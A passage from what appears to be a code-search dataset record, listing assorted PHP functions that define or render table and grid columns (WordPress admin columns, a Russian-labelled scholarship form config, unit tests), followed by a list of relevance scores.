'Author',\n\t\t'categories' => 'Categories',\n\t\t\"destination\" => \"Destination\",\n\t\t'tags' => 'Tags',\n\t\t'comments' => '<span class=\"vers\"><div title=\"Comments\" class=\"comment-grey-bubble\"></div></span>',\n\t\t'date' => 'Date'\n );\n return $columns;\n}", "public function column()\r\n {\r\n if (!empty($this->configs->column))\r\n return $this->configs->column;\r\n\r\n return ZArrayHelper::merge(parent::column(), [\r\n \r\n 'id' => function (Form $column) {\r\n\r\n $column->title = Az::l('№');\r\n\r\n\r\n return $column;\r\n },\r\n \r\n \r\n 'catalogId' => function (Form $column) {\r\n\r\n $column->title = Az::l('Каталог');\r\n\r\n\r\n return $column;\r\n },\r\n \r\n \r\n 'name' => function (Form $column) {\r\n\r\n $column->title = Az::l('Магазин');\r\n\r\n\r\n return $column;\r\n },\r\n \r\n \r\n 'amount' => function (Form $column) {\r\n\r\n $column->title = Az::l('Количество');\r\n\r\n\r\n return $column;\r\n },\r\n \r\n \r\n 'title' => function (Form $column) {\r\n\r\n $column->title = Az::l('Краткая информация');\r\n\r\n\r\n return $column;\r\n },\r\n \r\n \r\n 'url' => function (Form $column) {\r\n\r\n $column->title = Az::l('URL');\r\n\r\n\r\n return $column;\r\n },\r\n \r\n \r\n 'visible' => function (Form $column) {\r\n\r\n $column->title = Az::l('Видимость');\r\n $column->dbType = dbTypeBoolean;\r\n\r\n\r\n return $column;\r\n },\r\n \r\n \r\n 'image' => function (Form $column) {\r\n\r\n $column->title = Az::l('Логотип');\r\n $column->widget = ZImageWidget::class;\r\n $column->options = [\r\n\t\t\t\t\t\t'config' =>[\r\n\t\t\t\t\t\t\t'width' => '100px',\r\n\t\t\t\t\t\t\t'height' => '100px',\r\n\t\t\t\t\t\t],\r\n\t\t\t\t\t];\r\n\r\n\r\n return $column;\r\n },\r\n \r\n \r\n 'new_price' => function (Form $column) {\r\n\r\n $column->title = Az::l('Цена');\r\n\r\n\r\n return $column;\r\n },\r\n \r\n \r\n 'price_old' => function (Form $column) {\r\n\r\n $column->title = Az::l('Старая цена');\r\n\r\n\r\n return $column;\r\n },\r\n \r\n \r\n 'currency' => function (Form $column) {\r\n\r\n $column->title = Az::l('Валюта');\r\n\r\n\r\n return $column;\r\n },\r\n \r\n \r\n 'currencyType' => function (Form $column) {\r\n\r\n $column->title = Az::l('Валюта');\r\n $column->data = [\r\n 'before' => Az::l('Перед'),\r\n 'after' => Az::l('После'),\r\n ];\r\n\r\n\r\n return $column;\r\n },\r\n \r\n \r\n 'cart_amount' => function (Form $column) {\r\n\r\n $column->title = Az::l('Количество');\r\n $column->value = 0;\r\n\r\n\r\n return $column;\r\n },\r\n \r\n \r\n 'delivery_type' => function (Form $column) {\r\n\r\n $column->title = Az::l('Тип доставки');\r\n\r\n\r\n return $column;\r\n },\r\n \r\n \r\n 'delivery_price' => function (Form $column) {\r\n\r\n $column->title = Az::l('Цена доставки');\r\n\r\n\r\n return $column;\r\n },\r\n \r\n \r\n 'review_count' => function (Form $column) {\r\n\r\n $column->title = Az::l('Количество отзывов');\r\n $column->value = 0;\r\n\r\n\r\n return $column;\r\n },\r\n \r\n \r\n 'measure' => function (Form $column) {\r\n\r\n $column->title = Az::l('Мера');\r\n $column->data = [\r\n 'pcs' => Az::l('шт'),\r\n 'm' => Az::l('м'),\r\n 'l' => Az::l('л'),\r\n 'kg' => Az::l('кг'),\r\n ];\r\n\r\n\r\n return $column;\r\n },\r\n \r\n \r\n 'measureStep' => function (Form $column) {\r\n\r\n $column->title = Az::l('Шаг измерения');\r\n $column->data = [\r\n 'pcs' => Az::l('1'),\r\n 'm' => Az::l('0.1'),\r\n 'l' => Az::l('0.1'),\r\n 'kg' => Az::l('0.1'),\r\n ];\r\n\r\n\r\n return $column;\r\n },\r\n \r\n \r\n 'rating' => function (Form $column) {\r\n\r\n $column->title = Az::l('Рейтинг');\r\n $column->widget = ZKStarRatingWidget::class;\r\n\r\n\r\n return $column;\r\n },\r\n \r\n \r\n 'cash_type' => function (Form $column) {\r\n\r\n $column->title = Az::l('Тип наличных');\r\n\r\n\r\n return $column;\r\n },\r\n \r\n \r\n 'action' => function (Form $column) {\r\n\r\n $column->title = Az::l('Действие');\r\n\r\n\r\n return $column;\r\n },\r\n \r\n\r\n ], $this->configs->replace);\r\n }", "function test_responsive_galleries_shortcode_atts_gallery_2_column() {\n\t\t$original = array(\n\t\t\t'size' => 'thumbnail',\n\t\t\t'columns' => 2,\n\t\t\t'link' => 'none',\n\t\t);\n\n\t\t$expected = array(\n\t\t\t'size' => 'responsive_gallery',\n\t\t\t'columns' => 2,\n\t\t\t'link' => 'file',\n\t\t);\n\n\t\t$this->assertSame( $expected, BU\\Themes\\Responsive_Framework\\Galleries\\shortcode_atts_gallery( $original ) );\n\t}", "function TS_VCSC_Testimonials_AdjustColumnWidths() {\r\n echo '<style type=\"text/css\">\r\n .column-previews {text-align: left; width: 175px !important; overflow: hidden;}\r\n .column-ids {text-align: left; width: 60px !important; overflow: hidden;}\r\n </style>';\r\n }", "function manage_columns( $column_name, $post_id ) {\n //global $post;\n switch ($column_name) {\n case \"type\":\n \t$type = rwmb_meta( 'type' , $post_id );\n \tif ( 'action' == $type ) {\n\n \t\t// this is stored as a metabox value\n $action \t\t= rwmb_meta( 'mbv_action' , $post_id );\n\n // get post field for this\n \t\t$menu_order \t= get_post_field( 'menu_order' , $post_id );\n\n if (!$action) $action = '-';\n \t\tif (!$menu_order) $menu_order = sprintf( '<span title=\"no priority set, will use 10\">?10</span>' , __( 'no priority set, will use 10' , 'text-domain' ) );\n\n\t \techo \"<p><code>{$action} <span style='margin-left: 10px;'>{$menu_order}</span></code></p>\";\n \t}\n\n break;\n } // end switch\n}", "public function column()\r\n {\r\n if (!empty($this->configs->column))\r\n return $this->configs->column;\r\n\r\n return ZArrayHelper::merge(parent::column(), [\r\n\r\n 'program' => function (FormDb $column) {\r\n\r\n $column->index = true;\r\n $column->title = Az::l('Программа Обучения');\r\n $column->tooltip = Az::l('Программа Обучения Стипендианта');\r\n $column->dbType = dbTypeString;\r\n $column->data = [\r\n 'intern' => Az::l('Стажировка'),\r\n 'doctors' => Az::l('Докторантура'),\r\n 'masters' => Az::l('Магистратура'),\r\n 'qualify' => Az::l('Повышение квалификации'),\r\n ];\r\n $column->rules = [\r\n [\r\n 'zetsoft\\\\system\\\\validate\\\\ZRequiredValidator',\r\n ],\r\n ];\r\n $column->widget = ZKSelect2Widget::class;\r\n\r\n //start|AlisherXayrillayev|2020-10-16\r\n //$column->ajax = false;\r\n //end|AlisherXayrillayev|2020-10-16\r\n\r\n return $column;\r\n },\r\n\r\n 'currency' => function (FormDb $column) {\r\n\r\n $column->title = Az::l('Валюта');\r\n $column->tooltip = Az::l('Валюта');\r\n $column->dbType = dbTypeString;\r\n $column->data = CurrencyData::class;\r\n $column->widget = ZKSelect2Widget::class;\r\n $column->rules = ZRequiredValidator::class;\r\n //start|AlisherXayrillayev|2020-10-16\r\n $column->ajax = false;\r\n //end|AlisherXayrillayev|2020-10-16\r\n\r\n return $column;\r\n },\r\n\r\n\r\n 'email' => function (FormDb $column) {\r\n\r\n $column->index = true;\r\n $column->title = Az::l('E-mail');\r\n $column->tooltip = Az::l('Электронный адрес стипендианта (E-mail)');\r\n $column->dbType = dbTypeString;\r\n $column->rules = [\r\n [\r\n 'zetsoft\\\\system\\\\validate\\\\ZRequiredValidator',\r\n ],\r\n [\r\n validatorEmail,\r\n ],\r\n [\r\n validatorUnique,\r\n ],\r\n ];\r\n $column->hiddenFromExport = true;\r\n $column->changeSave = true;\r\n return $column;\r\n },\r\n\r\n 'passport' => function (FormDb $column) {\r\n\r\n $column->index = true;\r\n $column->title = Az::l('Серия и номер паспорта');\r\n $column->tooltip = Az::l('Серия и номер паспорта стипендианта');\r\n $column->dbType = dbTypeString;\r\n $column->rules = [\r\n [\r\n 'zetsoft\\\\system\\\\validate\\\\ZRequiredValidator',\r\n ],\r\n [\r\n validatorUnique,\r\n ],\r\n ];\r\n $column->widget = ZInputMaskWidget::class;\r\n $column->options = [\r\n 'config' => [\r\n 'type' => 'ready',\r\n 'ready' => 'AA-9999999',\r\n ],\r\n ];\r\n \r\n return $column;\r\n },\r\n\r\n\r\n 'passport_give' => function (FormDb $column) {\r\n\r\n $column->title = Az::l('Когда и кем выдан');\r\n $column->tooltip = Az::l('Когда и кем выдан пасспорт');\r\n $column->dbType = dbTypeString;\r\n $column->rules = [\r\n [\r\n 'zetsoft\\\\system\\\\validate\\\\ZRequiredValidator',\r\n ],\r\n ];\r\n\r\n return $column;\r\n },\r\n\r\n\r\n 'birthdate' => function (FormDb $column) {\r\n\r\n $column->title = Az::l('Дата рождение');\r\n $column->tooltip = Az::l('Дата рождение стипендианта');\r\n $column->dbType = dbTypeDate;\r\n $column->rules = [\r\n [\r\n 'zetsoft\\\\system\\\\validate\\\\ZRequiredValidator',\r\n ],\r\n ];\r\n $column->auto = true;\r\n $column->value = function (EyufScholar $model) {\r\n return Az::$app->cores->date->fbDate();\r\n };\r\n $column->widget = ZKDatepickerWidget::class;\r\n\r\n return $column;\r\n },\r\n\r\n\r\n 'user_id' => function (FormDb $column) {\r\n\r\n $column->title = Az::l('Пользователь');\r\n $column->tooltip = Az::l('Пользователь');\r\n $column->dbType = dbTypeInteger;\r\n $column->showForm = false;\r\n $column->widget = ZKSelect2Widget::class;\r\n\r\n return $column;\r\n },\r\n\r\n\r\n 'place_country_id' => function (FormDb $column) {\r\n\r\n $column->index = true;\r\n $column->title = Az::l('Страна обучение');\r\n $column->tooltip = Az::l('Страна обучения пользователя');\r\n $column->dbType = dbTypeInteger;\r\n $column->rules = [\r\n [\r\n 'zetsoft\\\\system\\\\validate\\\\ZRequiredValidator',\r\n ],\r\n ];\r\n $column->widget = ZKSelect2Widget::class;\r\n\r\n return $column;\r\n },\r\n\r\n\r\n 'status' => function (FormDb $column) {\r\n\r\n $column->index = true;\r\n $column->title = Az::l('Статус');\r\n $column->tooltip = Az::l('Статус стипендианта');\r\n $column->dbType = dbTypeString;\r\n $column->data = [\r\n 'register' => Az::l('Стипендиант зарегистрирован'),\r\n 'docReady' => Az::l('Все документы загружены'),\r\n 'stipend' => Az::l('Утвержден отделом стипендий'),\r\n 'accounter' => Az::l('Утвержден отделом бухгалтерии'),\r\n 'education' => Az::l('Учеба завершена'),\r\n 'process' => Az::l('Учеба завершена'),\r\n ];\r\n\r\n //start|JakhongirKudratov|2020-10-27\r\n\r\n $column->event = function (EyufScholar $model) {\r\n Az::$app->App->eyuf->scholar->sendNotify($model);\r\n\r\n };\r\n\r\n //end|JakhongirKudratov|2020-10-27\r\n\r\n $column->widget = ZKSelect2Widget::class;\r\n\r\n //start|AlisherXayrillayev|2020-10-16\r\n $column->ajax = false;\r\n //end|AlisherXayrillayev|2020-10-16\r\n\r\n $column->showForm = false;\r\n $column->width = '200px';\r\n $column->hiddenFromExport = true;\r\n /*$column->roleShow = [\r\n 'scholar',\r\n 'user',\r\n 'guest',\r\n 'admin',\r\n 'accounter'\r\n ];*/\r\n\r\n return $column;\r\n },\r\n\r\n 'age' => function (FormDb $column) {\r\n\r\n $column->title = Az::l('Возраст');\r\n $column->tooltip = Az::l('Возраст стипендианта');\r\n $column->dbType = dbTypeInteger;\r\n $column->autoValue = function (EyufScholar $model) {\r\n return Az::$app->App->eyuf->user->getAge($model->birthdate);\r\n };\r\n\r\n $column->rules = [\r\n [\r\n validatorInteger,\r\n ],\r\n ];\r\n\r\n\r\n $column->showForm = false;\r\n\r\n return $column;\r\n },\r\n\r\n\r\n 'edu_start' => function (FormDb $column) {\r\n\r\n $column->title = Az::l('Начала обучения');\r\n $column->tooltip = Az::l('Начала обучения стипендианта');\r\n $column->dbType = dbTypeDate;\r\n $column->widget = ZKDatepickerWidget::class;\r\n $column->options = [\r\n 'config' => [\r\n 'type' => 2,\r\n 'pickerButton' => [\r\n 'icon' => '',\r\n ],\r\n 'pluginOptions' => [\r\n 'autoclose' => true,\r\n 'format' => 'dd-M-yyyy',\r\n ],\r\n 'hasIcon' => true,\r\n ],\r\n ];\r\n\r\n return $column;\r\n },\r\n\r\n\r\n 'edu_end' => function (FormDb $column) {\r\n\r\n $column->title = Az::l('Завершение обучения');\r\n $column->tooltip = Az::l('Завершение обучения стипендианта');\r\n $column->dbType = dbTypeDate;\r\n $column->widget = ZKDatepickerWidget::class;\r\n $column->options = [\r\n 'config' => [\r\n 'type' => 2,\r\n 'pickerButton' => [\r\n 'icon' => '',\r\n ],\r\n 'pluginOptions' => [\r\n 'autoclose' => true,\r\n 'format' => 'dd-M-yyyy',\r\n ],\r\n 'hasIcon' => true,\r\n ],\r\n ];\r\n\r\n return $column;\r\n },\r\n\r\n\r\n 'user_company_id' => function (FormDb $column) {\r\n\r\n $column->index = true;\r\n $column->title = Az::l('Вышестоящая организация');\r\n $column->tooltip = Az::l('Вышестоящая организация');\r\n $column->dbType = dbTypeInteger;\r\n $column->rules = [\r\n [\r\n 'zetsoft\\\\system\\\\validate\\\\ZRequiredValidator',\r\n ],\r\n ];\r\n $column->widget = ZKSelect2Widget::class;\r\n\r\n return $column;\r\n },\r\n\r\n\r\n 'company_type' => function (FormDb $column) {\r\n\r\n $column->title = Az::l('Тип рабочего места');\r\n $column->tooltip = Az::l('Тип рабочего места стипендианта');\r\n $column->dbType = dbTypeString;\r\n\r\n return $column;\r\n },\r\n\r\n\r\n 'edu_area' => function (FormDb $column) {\r\n\r\n $column->title = Az::l('Область знаний');\r\n $column->tooltip = Az::l('Область знаний стипендианта');\r\n $column->dbType = dbTypeString;\r\n\r\n return $column;\r\n },\r\n\r\n\r\n 'edu_sector' => function (FormDb $column) {\r\n\r\n $column->title = Az::l('Сектор образования');\r\n $column->tooltip = Az::l('Сектор образования стипендианта');\r\n $column->dbType = dbTypeString;\r\n\r\n return $column;\r\n },\r\n\r\n\r\n 'edu_type' => function (FormDb $column) {\r\n\r\n $column->title = Az::l('Направление образования');\r\n $column->tooltip = Az::l('Направление образования стипендианта');\r\n $column->dbType = dbTypeString;\r\n\r\n return $column;\r\n },\r\n\r\n\r\n 'speciality' => function (FormDb $column) {\r\n\r\n $column->title = Az::l('Специальность');\r\n $column->tooltip = Az::l('Специальность стипендианта');\r\n $column->dbType = dbTypeString;\r\n\r\n return $column;\r\n },\r\n\r\n\r\n 'edu_place' => function (FormDb $column) {\r\n\r\n $column->title = Az::l('Место обучения(ВУЗ)');\r\n $column->tooltip = Az::l('Место обучения(ВУЗ) стипендианта');\r\n $column->dbType = dbTypeInteger;\r\n\r\n return $column;\r\n },\r\n\r\n\r\n 'finance' => function (FormDb $column) {\r\n\r\n $column->title = Az::l('Источник финансирования');\r\n $column->tooltip = Az::l('Источник финансирования стипендианта');\r\n $column->dbType = dbTypeInteger;\r\n //start|AsrorZakirov|2020-10-25\r\n\r\n $column->showForm = false;\r\n\r\n//end|AsrorZakirov|2020-10-25\r\n\r\n return $column;\r\n },\r\n\r\n\r\n 'address' => function (FormDb $column) {\r\n\r\n $column->title = Az::l('Постоянный адрес проживания');\r\n $column->tooltip = Az::l('Постоянный адрес проживания стипендианта');\r\n $column->dbType = dbTypeString;\r\n $column->hiddenFromExport = true;\r\n\r\n return $column;\r\n },\r\n\r\n\r\n 'phone' => function (FormDb $column) {\r\n\r\n $column->title = Az::l('Сотовый телефон');\r\n $column->tooltip = Az::l('Сотовый телефон стипендианта');\r\n $column->dbType = dbTypeString;\r\n $column->rules = [\r\n [\r\n 'zetsoft\\\\system\\\\validate\\\\ZRequiredValidator',\r\n ],\r\n [\r\n validatorUnique,\r\n ],\r\n ];\r\n $column->widget = ZInputMaskWidget::class;\r\n $column->options = [\r\n 'config' => [\r\n 'ready' => '99-999-99-99',\r\n ],\r\n ];\r\n $column->hiddenFromExport = true;\r\n\r\n return $column;\r\n },\r\n\r\n\r\n 'home_phone' => function (FormDb $column) {\r\n\r\n $column->title = Az::l('Домашний Телефон');\r\n $column->tooltip = Az::l('Домашний Телефон Стипендианта');\r\n $column->dbType = dbTypeString;\r\n $column->widget = ZInputMaskWidget::class;\r\n $column->options = [\r\n 'config' => [\r\n 'ready' => '99-999-99-99',\r\n ],\r\n ];\r\n $column->hiddenFromExport = true;\r\n\r\n return $column;\r\n },\r\n\r\n\r\n 'position' => function (FormDb $column) {\r\n\r\n $column->title = Az::l('Должность');\r\n $column->tooltip = Az::l('Должность стипендианта');\r\n $column->dbType = dbTypeString;\r\n\r\n return $column;\r\n },\r\n\r\n\r\n 'experience' => function (FormDb $column) {\r\n\r\n $column->title = Az::l('Стаж работы (месяц)');\r\n $column->tooltip = Az::l('Стаж работы стипендианта (месяц)');\r\n $column->dbType = dbTypeString;\r\n $column->rules = [\r\n [\r\n 'zetsoft\\\\system\\\\validate\\\\ZRequiredValidator',\r\n ],\r\n [\r\n validatorInteger,\r\n ],\r\n ];\r\n $column->widget = ZKTouchSpinWidget::class;\r\n\r\n return $column;\r\n },\r\n\r\n\r\n 'completed' => function (FormDb $column) {\r\n\r\n $column->title = Az::l('Обучение завершено?');\r\n $column->tooltip = Az::l('Завершено ли обучение стипендианта?');\r\n $column->dbType = dbTypeBoolean;\r\n $column->widget = ZKSwitchInputWidget::class;\r\n\r\n return $column;\r\n },\r\n\r\n\r\n ], $this->configs->replace);\r\n }", "function get_column_class($columns, $bp = 'sm') {\n\treturn 'col-' . $bp . '-' . $columns;\n}", "private function _setColumns()\n {\n $this->columns = new Pike_Grid_DataSource_Columns();\n\n foreach ($this->_query->getFields() as $field) {\n $this->columns->add($field, null, $field);\n }\n }", "protected function addVirtualColumns()\n {\n \n }", "public function testAddingSingleColumn()\n {\n $queryBuilder = new AugmentingQueryBuilder();\n $queryBuilder->addColumnValues(['name' => 'dave']);\n $this->assertEquals(['name' => 'dave'], $queryBuilder->getColumnNamesToValues());\n }", "function Viradeco_add_user_columns($column) {\n $column['viraclub'] = __('ViraClub ID','itstar');\n $column['phone'] = __('Phone','itstar');\n $column['email'] = __('Email','itstar');\n \n return $column;\n}", "private function _add_image_column_action() {\n\t\tif ( $this->disable_image_column ) {\n\t\t\treturn;\n\t\t} // if()\n\n\t\tswitch ( $this->post_type ) {\n\t\t\tcase 'post':\n\t\t\t\t$manage_filter = 'manage_posts_columns';\n\t\t\t\t$custom_column = 'manage_posts_custom_column';\n\t\t\t\tbreak;\n\t\t\tcase 'page':\n\t\t\t\t$manage_filter = 'manage_pages_columns';\n\t\t\t\t$custom_column = 'manage_pages_custom_column';\n\t\t\t\tbreak;\n\t\t\tdefault:\n\t\t\t\t$manage_filter = \"manage_{$this->post_type}_posts_columns\";\n\t\t\t\t$custom_column = \"manage_{$this->post_type}_posts_custom_column\";\n\t\t\t\tbreak;\n\t\t} // switch()\n\n\t\tadd_filter( $manage_filter, array( &$this, 'add_thumbnail_column' ), 5 );\n\t\tadd_action( $custom_column, array( &$this, 'display_thumbnail_column' ), 5, 2 );\n\t}", "function get_column_product( $numcol ) {\n\tswitch ( $numcol ) {\n\t case '1':\n\t $post_class = 'col-md-12';\n\t break;\n\t case '2':\n\t $post_class = 'col-6';\n\t break;\n\t case '3':\n\t $post_class = 'col-md-4 col-sm-6 col-6';\n\t break;\n\t case '4':\n\t $post_class = 'col-md-3 col-sm-4 col-6';\n\t break;\n\t case '5':\n\t $post_class = 'col-lg-15 col-md-3 col-sm-4 col-6';\n\t break;\n\t case '6':\n\t $post_class = 'col-lg-2 col-md-3 col-sm-4 col-6';\n\t break;\n\t}\n\treturn $post_class;\n}", "protected function defineColumn($field,$type=Type::TXT, $size=null, $isNullable = true, $isPK = false, $isAutoIncr =false)\r\n {\r\n //create new column object and add it to the cols array property\r\n $this->cols[$field] = new Column($field,$type, $size, $isNullable, $isPK, $isAutoIncr);\r\n }", "protected function generateColumns()\n\t{\n\t\tforeach ($this->dataSource->getColumns() as $name) {\n\t\t\t$this->addColumn($name);\n\t\t}\n\t}", "function getColumnsDefinition($showPlatforms, $statusLbl, $labels, $platforms)\n{\n $colDef = array();\n\n $colDef[] = array('title_key' => 'test_plan', 'width' => 60, 'type' => 'text', 'sortType' => 'asText',\n 'filter' => 'string');\n\n $colDef[] = array('title_key' => 'build', 'width' => 60, 'type' => 'text', 'sortType' => 'asText',\n 'filter' => 'string');\n \n if ($showPlatforms)\n {\n $colDef[] = array('title_key' => 'platform', 'width' => 60, 'sortType' => 'asText',\n 'filter' => 'list', 'filterOptions' => $platforms);\n }\n\n $colDef[] = array('title_key' => 'th_active_tc', 'width' => 40, 'sortType' => 'asInt',\n 'filter' => 'numeric');\n \n // create 2 columns for each defined status\n foreach($statusLbl as $lbl)\n {\n $colDef[] = array('title_key' => $lbl, 'width' => 40, 'hidden' => true, 'type' => 'int',\n 'sortType' => 'asInt', 'filter' => 'numeric');\n \n $colDef[] = array('title' => lang_get($lbl) . \" \" . $labels['in_percent'], 'width' => 40,\n 'col_id' => 'id_'. $lbl .'_percent', 'type' => 'float', 'sortType' => 'asFloat',\n 'filter' => 'numeric');\n }\n \n $colDef[] = array('title_key' => 'progress', 'width' => 40, 'sortType' => 'asFloat', 'filter' => 'numeric');\n\n return $colDef;\n}", "function ivan_header_dimensions($type = 'logo', $cols = 2) {\r\n\r\n\t$logo_lg = ivan_get_option('header-logo-lg');\r\n\t$logo_md = ivan_get_option('header-logo-md');\r\n\t$logo_sm = ivan_get_option('header-logo-sm');\r\n\t$logo_xs = ivan_get_option('header-logo-xs');\r\n\r\n\tif( $cols == 3 ) {\r\n\t\t// If columns are divided by 3, the logo number should fit properly adding one to it.\r\n\t\tif( $logo_lg % 2 != 0 )\r\n\t\t\t$logo_lg += 1;\r\n\r\n\t\tif( $logo_md % 2 != 0 )\r\n\t\t\t$logo_md += 1;\r\n\t}\r\n\r\n\tif( 'logo' == $type ) {\r\n\r\n\t\techo apply_filters('iv_logo_dimensions', 'col-xs-' . $logo_xs . ' col-sm-' . $logo_sm . ' col-md-' . $logo_md . ' col-lg-' . $logo_lg );\r\n\t}\r\n\telse {\r\n\t\t$col_lg = 12 - $logo_lg;\r\n\t\t$col_md = 12 - $logo_md;\r\n\t\t$col_sm = 12 - $logo_sm;\r\n\t\t$col_xs = 12 - $logo_xs;\r\n\r\n\t\tif( $cols == 3 ) {\r\n\r\n\t\t\tif( $logo_lg % 2 != 0 )\r\n\t\t\t\t$col_lg -= 1;\r\n\r\n\t\t\tif( $logo_md % 2 != 0 )\r\n\t\t\t\t$col_md -= 1;\r\n\r\n\t\t\t$col_lg = $col_lg / 2;\r\n\t\t\t$col_md = $col_md / 2;\r\n\t\t}\r\n\r\n\t\techo apply_filters('iv_col_dimensions', 'col-xs-' . $col_xs . ' col-sm-' . $col_sm . ' col-md-' . $col_md . ' col-lg-' . $col_lg );\r\n\t}\r\n\r\n}", "function my_manage_business_columns( $column, $post_id ) {\n\tglobal $post;\n\n\tswitch( $column ) {\n\n\t\t/* If displaying the 'business-type' column. */\n\t\tcase 'business-type' :\n\n\t\t\t/* Get the genres for the post. */\n\t\t\t$terms = get_the_terms( $post_id, 'business-type' );\n\n\t\t\t/* If terms were found. */\n\t\t\tif ( !empty( $terms ) ) {\n\n\t\t\t\t$out = array();\n\n\t\t\t\t/* Loop through each term, linking to the 'edit posts' page for the specific term. */\n\t\t\t\tforeach ( $terms as $term ) {\n\t\t\t\t\t$out[] = sprintf( '<a href=\"%s\">%s</a>',\n\t\t\t\t\t\tesc_url( add_query_arg( array( 'post_type' => $post->post_type, 'genre' => $term->slug ), 'edit.php' ) ),\n\t\t\t\t\t\tesc_html( sanitize_term_field( 'name', $term->name, $term->term_id, 'business-type', 'display' ) )\n\t\t\t\t\t);\n\t\t\t\t}\n\n\t\t\t\t/* Join the terms, separating them with a comma. */\n\t\t\t\techo join( ', ', $out );\n\t\t\t}\n\n\t\t\t/* If no terms were found, output a default message. */\n\t\t\telse {\n\t\t\t\t_e( '—' );\n\t\t\t}\n\n\t\t\tbreak;\n\n\n\t\t/* If displaying the 'business-type' column. */\n\t\tcase 'vlevel' :\n\n\t\t\t/* Get the genres for the post. */\n\t\t\t$term = get_field_object( 'vlevel', $post_id );\n\t\t\t/* If terms were found. */\n\t\t\tif ( !empty( $term['value'] ) ) {\n\t\t\t\t$value = $term['value'];\n\t\t\t \techo $term['choices'][$value]; \t\n\t\t\t}\n\n\t\t\t/* If no terms were found, output a default message. */\n\t\t\telse {\n\t\t\t\t_e( '—' );\n\t\t\t}\n\n\t\t\tbreak;\n\n\t\tcase 'cuisine' :\n\n\t\t\t/* Get the genres for the post. */\n\t\t\t$terms = get_the_terms( $post_id, 'cuisine' );\n\n\t\t\t/* If terms were found. */\n\t\t\tif ( !empty( $terms ) ) {\n\n\t\t\t\t$out = array();\n\n\t\t\t\t/* Loop through each term, linking to the 'edit posts' page for the specific term. */\n\t\t\t\tforeach ( $terms as $term ) {\n\t\t\t\t\t$out[] = sprintf( '<a href=\"%s\">%s</a>',\n\t\t\t\t\t\tesc_url( add_query_arg( array( 'post_type' => $post->post_type, 'genre' => $term->slug ), 'edit.php' ) ),\n\t\t\t\t\t\tesc_html( sanitize_term_field( 'name', $term->name, $term->term_id, 'cuisine', 'display' ) )\n\t\t\t\t\t);\n\t\t\t\t}\n\n\t\t\t\t/* Join the terms, separating them with a comma. */\n\t\t\t\techo join( ', ', $out );\n\t\t\t}\n\n\t\t\t/* If no terms were found, output a default message. */\n\t\t\telse {\n\t\t\t\t_e( '—' );\n\t\t\t}\n\n\t\t\tbreak;\n\n\t\t/* Just break out of the switch statement for everything else. */\n\t\tdefault :\n\t\t\tbreak;\n\t}\n}", "function _nova_bs_skins_span_columns() {\n $options = array();\n\n /* Cycle through all integers starting with 1 and ending with largest breakpoint. */\n for ($col = 1; $col <= end(_nova_bs_columns()); $col++) {\n $plural = ($col == 1) ? '' : 's';\n\n /* Add a span value */\n $options[\"fa-span-{$col}\"] = array(\n 'title' => \"$col unit{$plural}\",\n 'class' => \"fa-span-{$col}\"\n );\n\n /* Add a span value with omega */\n if ($col != end(_nova_bs_columns())) {\n $options[\"fa-span-{$col}-omega\"] = array(\n 'title' => \"$col unit{$plural}, omega\",\n 'class' => \"fa-span-{$col}-omega\"\n );\n }\n }\n\n return $options;\n}", "function omega_one_column() {\n\n\tif ( !is_active_sidebar( 'primary' ) )\n\t\tadd_filter( 'theme_mod_theme_layout', 'omega_theme_layout_one_column' );\n\n\telseif ( is_attachment() && wp_attachment_is_image() && 'default' == get_post_layout( get_queried_object_id() ) )\n\t\tadd_filter( 'theme_mod_theme_layout', 'omega_theme_layout_one_column' );\n\n}", "function heateor_ss_add_custom_column($columns){\r\n\t$columns['heateor_ss_delete_profile_data'] = 'Delete Social Profile';\r\n\treturn $columns;\r\n}", "function test_responsive_galleries_shortcode_atts_gallery_4_column() {\n\t\t$original = array(\n\t\t\t'size' => 'thumbnail',\n\t\t\t'columns' => 4,\n\t\t\t'link' => 'none',\n\t\t);\n\n\t\t$expected = array(\n\t\t\t'size' => 'responsive_gallery',\n\t\t\t'columns' => 4,\n\t\t\t'link' => 'file',\n\t\t);\n\n\t\t$this->assertSame( $expected, BU\\Themes\\Responsive_Framework\\Galleries\\shortcode_atts_gallery( $original ) );\n\t}", "function db2_field_display_size($stmt, $column)\n{\n}", "function addColumn($table, $name, $type);", "function add_column_data( $column, $post_id ) {\n\tswitch ( $column ) {\n\t\tcase 'layout':\n\t\t\t$field = get_field_object( 'field_5d9239967f3ed' ); // section_layout key\n\t\t\t$layout = get_field( 'section_layout', $post_id ) ?: 'default';\n\t\t\t// For whatever reason the layout value is sometimes\n\t\t\t// an array; handle that here:\n\t\t\tif ( is_array( $layout ) ) {\n\t\t\t\t$layout = $layout[0];\n\t\t\t}\n\t\t\techo $field['choices'][$layout];\n\t\t\tbreak;\n\t}\n}", "public function addColumns( $value){\n return $this->_add(3, $value);\n }", "function wp_regenthumbs_stamina_custom_column($column_name, $id) {\r\n if( $column_name == 'regenthumbs-stamina' ) {\r\n \t\tprintf(\"<br><a href=\\\"tools.php?page=regenthumbs-stamina&amp;media_ids=%d\\\">%s</a>\",$id, __('Regen. Thumbnail', 'regenthumbs-stamina'));\r\n }\r\n}", "function columns_output( $column_name, $post_id ) {\n\n\t\tswitch ( $column_name ) {\n\n\t\t\tcase 'example-column':\n\n\t\t\t\techo '<p>' . __('Display custom content here.', 'sudoh') . '</p>';\n\t\t\t\tbreak;\n\n\t\t\tcase 'thumbnail':\n\n\t\t\t\tif ( has_post_thumbnail($post_id) )\n\t\t\t\t\techo get_the_post_thumbnail($post_id, 'thumbnail');\n\t\t\t\tbreak;\n\n\t\t}\n\n\t}" ]
[ "0.6097335", "0.5940537", "0.590724", "0.58437604", "0.5842886", "0.58049613", "0.5767906", "0.5765064", "0.574334", "0.57386345", "0.5692328", "0.56922305", "0.56834644", "0.5678371", "0.56446874", "0.5622673", "0.5593254", "0.55730003", "0.55634356", "0.5538892", "0.55286753", "0.5523541", "0.55151594", "0.5510982", "0.5504969", "0.54677564", "0.54593325", "0.54516417", "0.5440886", "0.5439891", "0.5414537", "0.54137206", "0.5412729", "0.53979534", "0.5390629", "0.5389047", "0.5388383", "0.53830636", "0.53827053", "0.53666216", "0.5365927", "0.53514016", "0.534172", "0.53411037", "0.53383225", "0.5332617", "0.53256965", "0.53169125", "0.5310402", "0.53084964", "0.5301796", "0.52982", "0.52893996", "0.52784204", "0.5273826", "0.52539283", "0.5251397", "0.52497697", "0.5247775", "0.5246336", "0.524268", "0.52412474", "0.5237351", "0.5236526", "0.5229177", "0.52291167", "0.52218825", "0.52214146", "0.52190167", "0.5217781", "0.52118075", "0.5196991", "0.51952386", "0.5188059", "0.5187202", "0.5184343", "0.5180239", "0.5179855", "0.51758254", "0.51711607", "0.5165427", "0.51645577", 